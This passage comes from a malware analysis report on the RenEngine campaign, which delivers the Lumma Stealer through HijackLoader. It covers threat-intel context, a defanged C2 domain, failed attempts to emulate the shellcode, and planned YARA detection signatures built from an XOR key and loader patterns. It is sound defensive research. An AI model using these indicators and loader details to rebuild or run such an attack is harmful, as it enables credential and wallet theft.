  • Campaign: “RenEngine” - A 2025-2026 campaign documented by Kaspersky (Trojan.Python.Agent.nb), Offseq, and Cyderes that exploits the Ren’Py visual novel engine to distribute infostealers.
  • Loader: HijackLoader - A modular loader that uses DLL side-loading and module stomping for payload delivery.
  • Payload: Lumma Stealer (LummaC2) - A Malware-as-a-Service (MaaS) information stealer targeting browser credentials, cookies, cryptocurrency wallets, 2FA tokens, and session data. First appeared on Russian-language forums in 2022.
  • CISA/FBI Advisory: AA25-141B (May 21, 2025) - “Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations.” Provides STIX-formatted IOC lists with 115 known C2 domains.
  • Known C2 domain (campaign-specific): explorebieology[.]run.
  • Geographic targeting: Russia, Brazil, Turkey, Spain, Germany.
  • C2 infrastructure: Lumma rotates C2 domains frequently, using TLDs .shop, .top, .run, .digital, .live, .pw, .site, .world, .fun, .today, .icu, .bet behind Cloudflare CDN. Some C2 addresses are resolved dynamically from Steam community profiles or Telegram channels as fallback.
  • LummaC2 behavior (per CISA): Decrypts callback C2 domains at runtime, sends POST requests to find active C2, receives JSON-formatted commands for data theft. Includes a self-destruct failsafe that checks username/hostname hash against hardcoded values (0x56CF7626 / 0xB09406C7) - likely the malware author’s own machine.

Shellcode Emulation Attempts

Multiple emulation attempts were performed to decrypt the self-modifying shellcode:

  1. Unicorn Engine v2 (basic): 99M instructions executed, 0 bytes modified in-place. The decoder writes to a dynamically calculated address, not in-place.
  2. Unicorn Engine v2 (tracked writes): 199M instructions with memory write hooks. Only 1 byte written to the code region. The decoder target address (EDX=0x00bfff9c) was outside mapped memory.
  3. Unicorn Engine v2 (full memory + PEB/TEB): 297M instructions with expanded memory mapping (4MB), auto-mapping of unmapped pages, and simulated TEB/PEB structures. The decoded content was written to dynamically allocated region but the decoder required additional API stubs (VirtualAlloc simulation) that pure Unicorn cannot provide.
  4. Speakeasy (Mandiant): Installation succeeded but the bundled unicorn==1.0.2 is incompatible with Python 3.12+ (distutils/pkg_resources removed). Would require Python 3.9-3.11 or a native Speakeasy build.

Conclusion: The shellcode employs anti-emulation techniques (dynamic address calculation, potential API-dependent decoding) that require full Windows API emulation (Speakeasy with compatible Python, or scdbg on Windows) rather than bare CPU emulation.

Completeness of Analysis

The analysis achieved full deobfuscation of the attack chain from initial lure to shellcode loader - 6 out of 7 stages were fully decoded. The final shellcode payload stage (stage 7) was characterized structurally (decoder stub disassembly, size metrics, architecture identification) but not decrypted, as the XOR self-decrypting stub resists emulation without a full Windows environment simulation.

The analytical gap was compensated by threat intelligence correlation, which confirmed the malware family (LummaC2), active campaign (RenEngine), and provided 115 known C2 domains from the CISA/FBI advisory.


Future Work

  1. Shellcode decryption - Emulate with speakeasy on Python 3.9-3.11, or scdbg on a Windows VM, to fully decrypt the 194KB payload and extract:
    • Exact C2 domains/IPs for this specific sample
    • Implant configuration (sleep/jitter, user-agent, C2 protocol)
    • Cobalt Strike watermark or Lumma build ID
  2. Dynamic analysis - Execute in ANY.RUN or Cape Sandbox to:
    • Capture actual C2 traffic (POST requests, JSON commands)
    • Identify data exfiltration targets
    • Observe runtime persistence mechanisms
  3. steamapi.pyc reverse engineering - Decompile with Python 3.9 + decompyle3 to reveal potential additional stealer logic.

  4. YARA rule development - Detection signatures based on:
    • XOR key TqDLmrBbmyw in .key file format
    • qcbgcbyi function name in ASAR files
    • Fiber-based shellcode loader pattern
    • NOP sled + XOR decoder stub byte signature